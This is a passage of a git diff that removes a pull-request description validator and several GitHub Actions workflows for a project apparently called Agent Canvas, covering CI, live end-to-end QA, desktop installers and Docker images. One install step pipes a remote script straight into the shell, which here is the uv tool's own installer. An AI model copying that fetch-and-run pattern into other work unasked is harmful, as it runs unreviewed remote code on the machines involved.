HUMAN_TESTED_RE.search(body) - if human_tested is None: - errors.append( - f"Keep the `- [ ] {HUMAN_TESTED_TEXT}` checkbox in the PR description." - ) - elif not checkbox_is_checked(HUMAN_TESTED_RE, body): - errors.append( - "A human must check `A human has tested these changes.` before review." - ) - - if AGENT_HEADING_RE.search(body) is None: - errors.append("Keep the `AGENT:` marker from the PR template.") - - sections = extract_sections(body) - for section in REQUIRED_TEMPLATE_FIELDS: - if section not in sections: - errors.append(f"Keep the `## {section}` section from the PR template.") - elif not visible_text(sections[section]): - errors.append(f"Fill in the `## {section}` section of the PR template.") - - return errors - - -def body_from_event(event_path: Path) -> str: - payload = json.loads(event_path.read_text()) - pull_request = payload.get("pull_request") - if not isinstance(pull_request, dict): - raise ValueError("GitHub event payload does not contain a pull_request object") - body = pull_request.get("body") - return body if isinstance(body, str) else "" - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser( - description=( - "Validate pull request description readiness from --body-file " - "or a GitHub event payload." - ) - ) - parser.add_argument( - "--body-file", type=Path, help="Read a PR description body from a file." - ) - parser.add_argument( - "--event-path", - type=Path, - default=Path(os.environ["GITHUB_EVENT_PATH"]) - if "GITHUB_EVENT_PATH" in os.environ - else None, - help="Read the PR description body from a GitHub event payload.", - ) - return parser.parse_args() - - -def main() -> int: - args = parse_args() - if args.body_file is not None: - body = args.body_file.read_text() - elif args.event_path is not None: - body = body_from_event(args.event_path) - else: - raise SystemExit("Pass --body-file or set GITHUB_EVENT_PATH.") - - errors = validate_pr_body(body) - for error in errors: - print(f"::error::{error}") - - if errors: - print(f"PR description validation failed with {len(errors)} error(s).") - return 1 - - print("PR description validation passed.") - return 0 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml deleted file mode 100644 index 496bfae96..000000000 --- a/.github/workflows/ci.yml +++ /dev/null @@ -1,490 +0,0 @@ -name: CI - -on: - pull_request: - push: - branches: - - main - - "rel-*" - - "release/**" - workflow_dispatch: - inputs: - pr_number: - description: PR number to run live QA against when running manually. - required: true - -concurrency: - # Push runs get a per-COMMIT group and never cancel: the "Release Tag" ruleset - # requires `test-and-build (ubuntu)` to be green on the exact commit release-please - # tags (the release-PR merge commit), so a later push to main must not cancel an - # earlier commit's checks. PR/dispatch runs keep cheap cancel-on-update. - group: ci-${{ github.workflow }}-${{ github.event_name == 'push' && github.sha || github.ref }} - cancel-in-progress: ${{ github.event_name != 'push' }} - -permissions: - contents: read - -jobs: - prepare-test-matrix: - runs-on: ubuntu-24.04 - outputs: - matrix: ${{ steps.matrix.outputs.matrix }} - - steps: - - name: Build test matrix - id: matrix - run: | - echo 'matrix={"include":[{"name":"ubuntu","os":"ubuntu-24.04","full_checks":true},{"name":"windows","os":"windows-latest","full_checks":false}]}' >> "$GITHUB_OUTPUT" - - test-and-build: - needs: prepare-test-matrix - name: test-and-build (${{ matrix.name }}) - runs-on: ${{ matrix.os }} - timeout-minutes: 25 - strategy: - fail-fast: false - matrix: ${{ fromJSON(needs.prepare-test-matrix.outputs.matrix) }} - - steps: - - name: Check out repository - uses: actions/checkout@v7 - - - name: Set up Node.js with npm cache - uses: actions/setup-node@v7 - with: - # Pin to 24.15.x — Node 24.16.0 has a zip-extraction regression - # (nodejs/node#63487) that hangs `playwright install` for Playwright - # < 1.60.0. Remove this pin after upgrading to Playwright >= 1.60.0. - node-version: "24.15" - cache: npm - - - name: Install dependencies - run: npm ci - - - name: Lint - if: matrix.full_checks - run: npm run lint - - - name: Test - if: matrix.full_checks - run: npm test - - - name: Build app - run: npm run build - - - name: Build library - if: matrix.full_checks - run: npm run build:lib - - - name: Verify package contents - if: matrix.full_checks - run: npm pack --dry-run - - live-e2e: - if: >- - github.event_name == 'workflow_dispatch' || - (github.event_name == 'pull_request' && - github.event.pull_request.head.repo.full_name == github.repository && - contains(github.event.pull_request.labels.*.name, 'live-e2e')) - runs-on: ubuntu-24.04 - timeout-minutes: 30 - concurrency: - group: pr-artifacts-live-e2e-${{ github.event.pull_request.number || inputs.pr_number || github.ref }} - cancel-in-progress: false - permissions: - contents: write - issues: write - pull-requests: write - env: - LIVE_E2E_LLM_BASE_URL: ${{ vars.LIVE_E2E_LLM_BASE_URL || 'https://llm-proxy.app.all-hands.dev' }} - LIVE_E2E_LLM_MODEL: ${{ vars.LIVE_E2E_LLM_MODEL || 'openhands/claude-haiku-4-5-20251001' }} - LIVE_E2E_PR_NUMBER: ${{ github.event.pull_request.number || inputs.pr_number || '' }} - LIVE_E2E_REPORT_PATH: live-e2e-report.md - LIVE_E2E_RECORD_VIDEO: "on" - LIVE_E2E_WORKFLOW_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - LIVE_E2E_PR_ARTIFACT_KEEP_RUNS: 3 - - steps: - - name: Resolve live E2E PR context - id: pr_context - env: - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - - if [ -z "$LIVE_E2E_PR_NUMBER" ]; then - echo "::error::Live E2E QA must run against a PR. Provide workflow_dispatch.pr_number or add the live-e2e label to a PR." - exit 1 - fi - case "$LIVE_E2E_PR_NUMBER" in - *[!0-9]*) - echo "::error::Invalid PR number: $LIVE_E2E_PR_NUMBER" - exit 1 - ;; - esac - - pr_api="repos/$GITHUB_REPOSITORY/pulls/$LIVE_E2E_PR_NUMBER" - head_repo="$(gh api "$pr_api" --jq '.head.repo.full_name')" - head_ref="$(gh api "$pr_api" --jq '.head.ref')" - head_sha="$(gh api "$pr_api" --jq '.head.sha')" - base_repo="$(gh api "$pr_api" --jq '.base.repo.full_name')" - - if [ -z "$head_repo" ] || [ -z "$head_ref" ] || [ -z "$head_sha" ] || [ -z "$base_repo" ]; then - echo "::error::Failed to fetch complete PR data from GitHub API." - exit 1 - fi - - echo "has_pr=true" >> "$GITHUB_OUTPUT" - echo "head_repo=$head_repo" >> "$GITHUB_OUTPUT" - echo "head_ref=$head_ref" >> "$GITHUB_OUTPUT" - echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT" - if [ "$head_repo" = "$base_repo" ]; then - echo "is_fork=false" >> "$GITHUB_OUTPUT" - else - echo "is_fork=true" >> "$GITHUB_OUTPUT" - fi - - - name: Skip live E2E for fork PRs - if: steps.pr_context.outputs.is_fork == 'true' - run: echo "::notice::Skipping live E2E for fork PRs so secrets are never exposed to untrusted code." - - - name: Check live E2E credential - id: live_credential - if: steps.pr_context.outputs.is_fork != 'true' - env: - LIVE_E2E_LLM_API_KEY: ${{ secrets.LLM_API_KEY }} - run: | - if [ -n "$LIVE_E2E_LLM_API_KEY" ]; then - echo "has_key=true" >> "$GITHUB_OUTPUT" - else - echo "has_key=false" >> "$GITHUB_OUTPUT" - fi - - - name: Check out PR head - if: steps.pr_context.outputs.is_fork != 'true' - env: - PR_HEAD_REPO: ${{ steps.pr_context.outputs.head_repo }} - PR_HEAD_SHA: ${{ steps.pr_context.outputs.head_sha }} - run: | - set -euo pipefail - git init . - git remote remove pr-head >/dev/null 2>&1 || true - git remote add pr-head "https://github.com/$PR_HEAD_REPO.git" - git fetch pr-head "$PR_HEAD_SHA" - git checkout --detach FETCH_HEAD - actual_sha="$(git rev-parse HEAD)" - if [ "$actual_sha" != "$PR_HEAD_SHA" ]; then - echo "::error::SHA mismatch: expected $PR_HEAD_SHA, got $actual_sha" - exit 1 - fi - - - name: Detect PR artifact-only commit - id: latest_commit - if: steps.pr_context.outputs.is_fork != 'true' - run: | - set -euo pipefail - changed_files="$(git diff-tree --no-commit-id --name-only -r --root HEAD)" - - artifact_only=false - if [ -n "$changed_files" ]; then - artifact_only=true - while IFS= read -r changed_file; do - [ -n "$changed_file" ] || continue - case "$changed_file" in - .pr/*) ;; - *) artifact_only=false ;; - esac - done < <(printf '%s\n' "$changed_files") - fi - - echo "pr_artifact_only=$artifact_only" >> "$GITHUB_OUTPUT" - if [ "$artifact_only" = "true" ]; then - echo "::notice::Skipping live E2E because the latest commit only changes .pr artifacts." - fi - - - name: Set up Node.js - if: steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - uses: actions/setup-node@v7 - with: - # Pin to 24.15.x — Node 24.16.0 has a zip-extraction regression - # (nodejs/node#63487) that hangs `playwright install` for Playwright - # < 1.60.0. Remove this pin after upgrading to Playwright >= 1.60.0. - node-version: "24.15" - cache: npm - - - name: Create live E2E PR comment - if: env.LIVE_E2E_PR_NUMBER != '' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - continue-on-error: true - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - node tests/e2e/live/scripts/render-live-e2e-report.mjs \ - --status running \ - --model "$LIVE_E2E_LLM_MODEL" \ - --workflow-url "$LIVE_E2E_WORKFLOW_URL" \ - --commit "${{ steps.pr_context.outputs.head_sha }}" \ - --timestamp "$(date -u '+%Y-%m-%d %H:%M:%S UTC')" \ - --output "$LIVE_E2E_REPORT_PATH" - node tests/e2e/live/scripts/upsert-pr-comment.mjs \ - --issue-number "$LIVE_E2E_PR_NUMBER" \ - --body-file "$LIVE_E2E_REPORT_PATH" - - - name: Install dependencies - if: steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: npm ci - - - name: Install uv - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: | - curl -LsSf https://astral.sh/uv/install.sh | sh - echo "$HOME/.local/bin" >> "$GITHUB_PATH" - - - name: Get Playwright version - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - id: pw_version - run: echo "version=$(npx playwright --version | awk '{print $2}')" >> "$GITHUB_OUTPUT" - - - name: Cache Playwright browsers - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - id: pw_cache - uses: actions/cache@v6 - with: - path: ~/.cache/ms-playwright - key: playwright-${{ runner.os }}-${{ steps.pw_version.outputs.version }} - - - name: Install Playwright Chromium - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' && steps.pw_cache.outputs.cache-hit != 'true' - run: npx playwright install chromium - - - name: Install Playwright system deps - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: npx playwright install-deps chromium - - - name: Run live Agent Server E2E - id: live_test - if: steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - env: - LIVE_E2E_LLM_API_KEY: ${{ secrets.LLM_API_KEY }} - run: | - set +e - npm run test:e2e:live - exit_code=$? - echo "exit_code=$exit_code" >> "$GITHUB_OUTPUT" - exit 0 - - - name: Skip live Agent Server E2E - if: steps.live_credential.outputs.has_key != 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: echo "Skipping live Agent Server E2E because LLM_API_KEY is not configured." - - - name: Extract live E2E media - id: live_media - if: always() && steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: | - node tests/e2e/live/scripts/extract-live-e2e-media.mjs \ - --results "test-results-live/results.json" \ - --output-dir "test-results-live/media" - - - name: Create live E2E video preview - id: live_video_preview - if: always() && steps.live_media.outputs.video_path != '' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - continue-on-error: true - env: - VIDEO_PATH: ${{ steps.live_media.outputs.video_path }} - run: | - video_path="$VIDEO_PATH" - if [ ! -f "$video_path" ]; then - echo "::warning::Live E2E video file was not found, skipping GIF preview generation." - exit 0 - fi - sudo apt-get update - sudo apt-get install -y ffmpeg - ffmpeg -y \ - -i "$video_path" \ - -vf "fps=4,scale=960:-1:flags=lanczos" \ - -loop 0 \ - test-results-live/media/live-agent-recording.gif - echo "video_preview_path=test-results-live/media/live-agent-recording.gif" >> "$GITHUB_OUTPUT" - - - name: Publish live E2E media - id: publish_live_media - if: always() && steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - env: - MEDIA_KEEP_RUNS: ${{ env.LIVE_E2E_PR_ARTIFACT_KEEP_RUNS }} - MEDIA_RUN_DIR: ${{ github.run_id }} - PR_ARTIFACT_PUSH_TOKEN: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} - PR_HEAD_IS_FORK: ${{ steps.pr_context.outputs.is_fork }} - PR_HEAD_REF: ${{ steps.pr_context.outputs.head_ref }} - PR_HEAD_SHA: ${{ steps.pr_context.outputs.head_sha }} - SCREENSHOT_PATH: ${{ steps.live_media.outputs.screenshot_path || '' }} - VIDEO_PATH: ${{ steps.live_media.outputs.video_path || '' }} - VIDEO_PREVIEW_PATH: ${{ steps.live_video_preview.outputs.video_preview_path || '' }} - run: | - set -euo pipefail - - if [ -z "$SCREENSHOT_PATH" ] && [ -z "$VIDEO_PREVIEW_PATH" ] && [ -z "$VIDEO_PATH" ]; then - echo "No live E2E media was produced." - exit 0 - fi - - if [ "$PR_HEAD_IS_FORK" = "true" ]; then - echo "::notice::Skipping .pr media publishing for fork PRs." - exit 0 - fi - - media_dir=".pr/live-e2e/$MEDIA_RUN_DIR" - mkdir -p "$media_dir" - { - echo "# PR Artifacts" - echo - echo "This directory contains generated PR-only QA artifacts. The PR Artifacts workflow removes it after approval so these files do not enter the final squash merge." - } > .pr/README.md - - if [ -n "$SCREENSHOT_PATH" ]; then - cp "$SCREENSHOT_PATH" "$media_dir/live-agent-response.png" - fi - if [ -n "$VIDEO_PREVIEW_PATH" ]; then - cp "$VIDEO_PREVIEW_PATH" "$media_dir/live-agent-recording.gif" - fi - if [ -n "$VIDEO_PATH" ]; then - cp "$VIDEO_PATH" "$media_dir/live-agent-recording.webm" - fi - - if [ -d ".pr/live-e2e" ]; then - find ".pr/live-e2e" -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | - sort -nr | - tail -n "+$((MEDIA_KEEP_RUNS + 1))" | - while IFS= read -r stale_run; do - [ -n "$stale_run" ] || continue - if [[ ! "$stale_run" =~ ^[0-9]+$ ]]; then - echo "::warning::Skipping invalid live E2E media directory name: $stale_run" - continue - fi - rm -rf ".pr/live-e2e/$stale_run" - done - fi - - git config user.name "allhands-bot" - git config user.email "allhands-bot@users.noreply.github.com" - git config credential.helper '!f() { echo "username=x-access-token"; echo "password=$PR_ARTIFACT_PUSH_TOKEN"; }; f' - git remote remove pr-artifacts >/dev/null 2>&1 || true - git remote add pr-artifacts "https://github.com/${GITHUB_REPOSITORY}.git" - git add .pr - if git diff --cached --quiet; then - echo "No .pr media changes to publish." - exit 0 - fi - - git commit -m "chore: Update PR QA artifacts" - push_succeeded=false - for attempt in 1 2 3; do - if git push pr-artifacts "HEAD:refs/heads/$PR_HEAD_REF"; then - push_succeeded=true - break - fi - - if [ "$attempt" -lt 3 ]; then - echo "::notice::Failed to push .pr media, rebasing and retrying." - git fetch pr-artifacts "$PR_HEAD_REF" - if ! git rebase FETCH_HEAD; then - echo "::error::Failed to rebase .pr media commit. Manual resolution required." - exit 1 - fi - if ! git merge-base --is-ancestor "$PR_HEAD_SHA" HEAD; then - echo "::error::Rebased .pr media commit no longer descends from the tested PR head $PR_HEAD_SHA." - exit 1 - fi - sleep 2 - fi - done - if [ "$push_succeeded" != "true" ]; then - echo "::error::Failed to push .pr media after retries." - exit 1 - fi - - media_commit="$(git rev-parse HEAD)" - media_url() { - printf 'https://raw.githubusercontent.com/%s/%s/%s/%s\n' "$GITHUB_REPOSITORY" "$media_commit" "$media_dir" "$1" - } - - if [ -f "$media_dir/live-agent-response.png" ]; then - echo "screenshot_url=$(media_url "live-agent-response.png")" >> "$GITHUB_OUTPUT" - fi - if [ -f "$media_dir/live-agent-recording.gif" ]; then - echo "video_preview_url=$(media_url "live-agent-recording.gif")" >> "$GITHUB_OUTPUT" - fi - if [ -f "$media_dir/live-agent-recording.webm" ]; then - echo "video_url=$(media_url "live-agent-recording.webm")" >> "$GITHUB_OUTPUT" - fi - - - name: Upload live E2E artifacts - id: upload_live_artifacts - if: always() && steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - uses: actions/upload-artifact@v7 - with: - name: live-agent-server-e2e - if-no-files-found: ignore - path: | - playwright-report-live/ - test-results-live/ - - - name: Determine live E2E result - id: live_status - if: always() && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: | - if [ "${{ steps.live_credential.outputs.has_key }}" != "true" ]; then - echo "status=skipped" >> "$GITHUB_OUTPUT" - echo "reason=LLM_API_KEY is not configured." >> "$GITHUB_OUTPUT" - echo "exit_code=0" >> "$GITHUB_OUTPUT" - exit 0 - fi - - exit_code="${{ steps.live_test.outputs.exit_code }}" - if [ -z "$exit_code" ]; then - exit_code=1 - fi - - if [ "$exit_code" = "0" ]; then - echo "status=passed" >> "$GITHUB_OUTPUT" - else - echo "status=failed" >> "$GITHUB_OUTPUT" - fi - echo "reason=" >> "$GITHUB_OUTPUT" - echo "exit_code=$exit_code" >> "$GITHUB_OUTPUT" - - - name: Render live E2E report - if: always() && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - env: - LIVE_E2E_ARTIFACT_URL: ${{ steps.upload_live_artifacts.outputs.artifact-url || '' }} - LIVE_E2E_SCREENSHOT_URL: ${{ steps.publish_live_media.outputs.screenshot_url || '' }} - LIVE_E2E_STATUS: ${{ steps.live_status.outputs.status }} - LIVE_E2E_REASON: ${{ steps.live_status.outputs.reason }} - LIVE_E2E_VIDEO_PREVIEW_URL: ${{ steps.publish_live_media.outputs.video_preview_url || '' }} - LIVE_E2E_VIDEO_URL: ${{ steps.publish_live_media.outputs.video_url || '' }} - run: | - node tests/e2e/live/scripts/render-live-e2e-report.mjs \ - --status "$LIVE_E2E_STATUS" \ - --reason "$LIVE_E2E_REASON" \ - --results "test-results-live/results.json" \ - --model "$LIVE_E2E_LLM_MODEL" \ - --workflow-url "$LIVE_E2E_WORKFLOW_URL" \ - --artifact-url "$LIVE_E2E_ARTIFACT_URL" \ - --screenshot-url "$LIVE_E2E_SCREENSHOT_URL" \ - --video-preview-url "$LIVE_E2E_VIDEO_PREVIEW_URL" \ - --video-url "$LIVE_E2E_VIDEO_URL" \ - --commit "${{ steps.pr_context.outputs.head_sha }}" \ - --timestamp "$(date -u '+%Y-%m-%d %H:%M:%S UTC')" \ - --output "$LIVE_E2E_REPORT_PATH" - cat "$LIVE_E2E_REPORT_PATH" >> "$GITHUB_STEP_SUMMARY" - - - name: Update live E2E PR comment - if: always() && env.LIVE_E2E_PR_NUMBER != '' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - node tests/e2e/live/scripts/upsert-pr-comment.mjs \ - --issue-number "$LIVE_E2E_PR_NUMBER" \ - --body-file "$LIVE_E2E_REPORT_PATH" - - - name: Fail live E2E job when tests fail - if: always() && steps.live_credential.outputs.has_key == 'true' && steps.pr_context.outputs.is_fork != 'true' && steps.latest_commit.outputs.pr_artifact_only != 'true' - run: exit "${{ steps.live_status.outputs.exit_code }}" diff --git a/.github/workflows/desktop-macos.yml b/.github/workflows/desktop-macos.yml deleted file mode 100644 index c45bec1df..000000000 --- a/.github/workflows/desktop-macos.yml +++ /dev/null @@ -1,91 +0,0 @@ -name: Desktop (macOS) - -# Builds the Agent Canvas macOS DMG (Apple Silicon). -# pull_request: paths-filtered smoke build — the uploaded artifact is -# what a tester downloads to verify a PR on macOS. -# release published: rebuilds from the release tag and attaches the .dmg -# to the GitHub Release created by release-please. -# workflow_dispatch: manual escape hatch for any ref. -# The app is only ad-hoc signed (no signing certs exist for any platform); -# a downloaded DMG is quarantined by Gatekeeper, which reports the app as -# "damaged" until the attribute is cleared: -# xattr -d com.apple.quarantine "/Applications/Agent Canvas.app" -# Intel DMGs are not produced — the bundled uv/node runtimes are host-arch -# only, so Intel users build from source. -on: - workflow_dispatch: - pull_request: - paths: - - .github/workflows/desktop-macos.yml - - electron/** - - electron-builder.config.mjs - - scripts/download-uv.mjs - - scripts/download-node.mjs - release: - types: [published] - -concurrency: - group: desktop-macos-${{ github.ref }} - cancel-in-progress: ${{ github.event_name == 'pull_request' }} - -# `gh release upload` needs contents: write on release events. Fork PR runs -# are downgraded to a read-only token by GitHub automatically. -permissions: - contents: write - -jobs: - build-dmg: - name: Build macOS DMG - runs-on: macos-latest - timeout-minutes: 30 - - steps: - - name: Check out repository - uses: actions/checkout@v7 - - - name: Set up Node.js with npm cache - uses: actions/setup-node@v7 - with: - node-version: '24' - cache: npm - - - name: Install dependencies - run: npm ci - - - name: Build macOS DMG - env: - # Production analytics key only for release builds (same split as - # docker.yml); PR/manual runs get the staging key. Both are public - # client-side keys stored as repo vars — empty on fork PRs, which - # simply disables analytics in the built app. - VITE_POSTHOG_API_KEY: ${{ github.event_name == 'release' && vars.POSTHOG_PROD_KEY || vars.POSTHOG_STAGING_KEY }} - # Authenticates download-uv.mjs's GitHub API version lookup so it - # doesn't hit the unauthenticated per-IP rate limit on shared runners. - GITHUB_TOKEN: ${{ github.token }} - run: npm run build:desktop - - - name: Verify DMG output - run: | - ls -la dist-electron - dmg_count=$(find dist-electron -maxdepth 1 -name '*.dmg' | wc -l | tr -d ' ') - if [ "$dmg_count" -ne 1 ]; then - echo "::error::Expected exactly one DMG in dist-electron/, found $dmg_count" - exit 1 - fi - - - name: Upload DMG artifact - uses: actions/upload-artifact@v7 - with: - name: agent-canvas-macos-dmg - path: dist-electron/*.dmg - if-no-files-found: error - # The DMG is large (~175 MB); keep PR artifacts long enough for - # manual QA without hoarding storage. - retention-days: 14 - - - name: Attach DMG to GitHub release - if: github.event_name == 'release' - env: - GH_TOKEN: ${{ github.token }} - RELEASE_TAG: ${{ github.event.release.tag_name }} - run: gh release upload "$RELEASE_TAG" dist-electron/*.dmg --clobber diff --git a/.github/workflows/desktop-windows.yml b/.github/workflows/desktop-windows.yml deleted file mode 100644 index 1d3f874b0..000000000 --- a/.github/workflows/desktop-windows.yml +++ /dev/null @@ -1,91 +0,0 @@ -name: Desktop (Windows) - -# Builds the Agent Canvas Windows NSIS installer (npm run build:desktop on a -# Windows runner). -# pull_request: paths-filtered smoke build — the uploaded artifact is -# what a tester downloads to verify a PR on Windows. -# release published: rebuilds from the release tag and attaches the .exe to -# the GitHub Release created by release-please. -# workflow_dispatch: manual escape hatch for any ref. -# The installer is not code-signed (no signing certs exist for any platform); -# Windows SmartScreen therefore warns on first run — dismiss it via -# "More info" → "Run anyway". -on: - workflow_dispatch: - pull_request: - paths: - - .github/workflows/desktop-windows.yml - - electron/** - - electron-builder.config.mjs - - scripts/download-uv.mjs - - scripts/download-node.mjs - release: - types: [published] - -concurrency: - group: desktop-windows-${{ github.ref }} - cancel-in-progress: ${{ github.event_name == 'pull_request' }} - -# `gh release upload` needs contents: write on release events. Fork PR runs -# are downgraded to a read-only token by GitHub automatically. -permissions: - contents: write - -jobs: - build-installer: - name: Build Windows installer - runs-on: windows-latest - timeout-minutes: 30 - - steps: - - name: Check out repository - uses: actions/checkout@v6 - - - name: Set up Node.js with npm cache - uses: actions/setup-node@v6 - with: - node-version: '24' - cache: npm - - - name: Install dependencies - run: npm ci - - - name: Build Windows installer - env: - # Production analytics key only for release builds (same split as - # docker.yml); PR/manual runs get the staging key. Both are public - # client-side keys stored as repo vars — empty on fork PRs, which - # simply disables analytics in the built app. - VITE_POSTHOG_API_KEY: ${{ github.event_name == 'release' && vars.POSTHOG_PROD_KEY || vars.POSTHOG_STAGING_KEY }} - # Authenticates download-uv.mjs's GitHub API version lookup so it - # doesn't hit the unauthenticated per-IP rate limit on shared runners. - GITHUB_TOKEN: ${{ github.token }} - run: npm run build:desktop - - - name: Verify installer output - shell: bash - run: | - ls -la dist-electron - exe_count=$(find dist-electron -maxdepth 1 -name '*.exe' | wc -l) - if [ "$exe_count" -ne 1 ]; then - echo "::error::Expected exactly one NSIS installer in dist-electron/, found $exe_count" - exit 1 - fi - - - name: Upload installer artifact - uses: actions/upload-artifact@v7 - with: - name: agent-canvas-windows-installer - path: dist-electron/*.exe - if-no-files-found: error - # The installer is large (~200 MB); keep PR artifacts long enough - # for manual QA without hoarding storage. - retention-days: 14 - - - name: Attach installer to GitHub release - if: github.event_name == 'release' - shell: bash - env: - GH_TOKEN: ${{ github.token }} - RELEASE_TAG: ${{ github.event.release.tag_name }} - run: gh release upload "$RELEASE_TAG" dist-electron/*.exe --clobber diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml deleted file mode 100644 index 91c2d0578..000000000 --- a/.github/workflows/docker.yml +++ /dev/null @@ -1,548 +0,0 @@ ---- -name: Docker - -on: - push: - branches: [main] - tags: - - "v*" - pull_request: - branches: [main] - workflow_dispatch: - inputs: - agent_server_image: - description: Agent Server base image (ghcr.io/openhands/agent-server:TAG) - type: string - default: "" - automation_version: - description: Automation server version (pip) - type: string - default: "" - image: - description: GHCR image name - type: string - default: ghcr.io/openhands/agent-canvas - -# Cancel redundant runs for the same branch/PR. -concurrency: - group: ${{ github.workflow }}-${{ (github.head_ref && github.ref) || github.run_id }} - cancel-in-progress: true - -permissions: - contents: read - packages: write - -env: - IMAGE: ${{ inputs.image != '' && inputs.image || 'ghcr.io/openhands/agent-canvas' }} - # Use the PR head SHA for PR events so tags point at the actual code. - RELEVANT_SHA: ${{ github.event.pull_request.head.sha || github.sha }} - RELEVANT_REF: ${{ github.head_ref != '' && format('refs/heads/{0}', github.head_ref) || github.ref }} - -jobs: - # ═══════════════════════════════════════════════════════════════════════════ - # Build & Push (per-architecture, native runners) - # ═══════════════════════════════════════════════════════════════════════════ - build-and-push-image: - name: Build & Push (${{ matrix.arch }}) - # Skip fork PRs — they cannot authenticate to GHCR. - if: > - github.event_name == 'push' || - github.event_name == 'workflow_dispatch' || - (github.event_name == 'pull_request' && - !github.event.pull_request.head.repo.fork) - strategy: - fail-fast: false - matrix: - include: - - arch: amd64 - runner: ubuntu-24.04 - platform: linux/amd64 - - arch: arm64 - runner: ubuntu-24.04-arm - platform: linux/arm64 - runs-on: ${{ matrix.runner }} - timeout-minutes: 45 - - env: - ARCH: ${{ matrix.arch }} - PLATFORM: ${{ matrix.platform }} - - steps: - - name: Checkout - uses: actions/checkout@v7 - with: - ref: ${{ github.event.pull_request.head.sha || '' }} - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v4 - - - name: Log in to GHCR - uses: docker/login-action@v4.4.0 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Read defaults from config/defaults.json - id: config - run: | - # Single source of truth for version pins — no hardcoded values in this workflow. - AGENT_SERVER_VERSION=$(node -p "require('./config/defaults.json').versions.agentServer") - AGENT_SERVER_IMAGE_BASE=$(node -p "require('./config/defaults.json').images.agentServer") - AUTOMATION_VERSION=$(node -p "require('./config/defaults.json').versions.automation") - AGENT_CANVAS_VERSION=$(node -p "require('./package.json').version") - CANVAS_BASE_PATH=$(node -p "require('./config/defaults.json').paths.canvasBasePath") - echo "agent_server_version=$AGENT_SERVER_VERSION" >> "$GITHUB_OUTPUT" - echo "default_agent_server_image=${AGENT_SERVER_IMAGE_BASE}:${AGENT_SERVER_VERSION}-python" >> "$GITHUB_OUTPUT" - echo "default_automation_version=$AUTOMATION_VERSION" >> "$GITHUB_OUTPUT" - echo "agent_canvas_version=$AGENT_CANVAS_VERSION" >> "$GITHUB_OUTPUT" - echo "canvas_base_path=$CANVAS_BASE_PATH" >> "$GITHUB_OUTPUT" - - - name: Compute metadata and tags - id: prep - env: - AGENT_SERVER_IMAGE_INPUT: ${{ inputs.agent_server_image }} - DEFAULT_AGENT_SERVER_IMAGE: ${{ steps.config.outputs.default_agent_server_image }} - AUTOMATION_VERSION_INPUT: ${{ inputs.automation_version }} - DEFAULT_AUTOMATION_VERSION: ${{ steps.config.outputs.default_automation_version }} - POSTHOG_STAGING_KEY: ${{ vars.POSTHOG_STAGING_KEY }} - POSTHOG_PROD_KEY: ${{ vars.POSTHOG_PROD_KEY }} - run: | - SHORT_SHA=$(echo "$RELEVANT_SHA" | cut -c1-7) - echo "short_sha=$SHORT_SHA" >> "$GITHUB_OUTPUT" - - # Resolve agent-server base image (input override > config/defaults.json) - if [ -n "$AGENT_SERVER_IMAGE_INPUT" ]; then - echo "agent_server_image=$AGENT_SERVER_IMAGE_INPUT" >> "$GITHUB_OUTPUT" - else - echo "agent_server_image=$DEFAULT_AGENT_SERVER_IMAGE" >> "$GITHUB_OUTPUT" - fi - - # Resolve automation version (input override > config/defaults.json) - if [ -n "$AUTOMATION_VERSION_INPUT" ]; then - echo "automation_version=$AUTOMATION_VERSION_INPUT" >> "$GITHUB_OUTPUT" - else - echo "automation_version=$DEFAULT_AUTOMATION_VERSION" >> "$GITHUB_OUTPUT" - fi - - # Build arch-suffixed tags (e.g., sha-abc1234-amd64) - TAGS="" - add_tag() { TAGS="${TAGS:+${TAGS},}${IMAGE}:${1}-${ARCH}"; } - - # SHA tags (always) - add_tag "sha-${SHORT_SHA}" - - # Branch / PR / tag-based tags - if [[ "$RELEVANT_REF" == 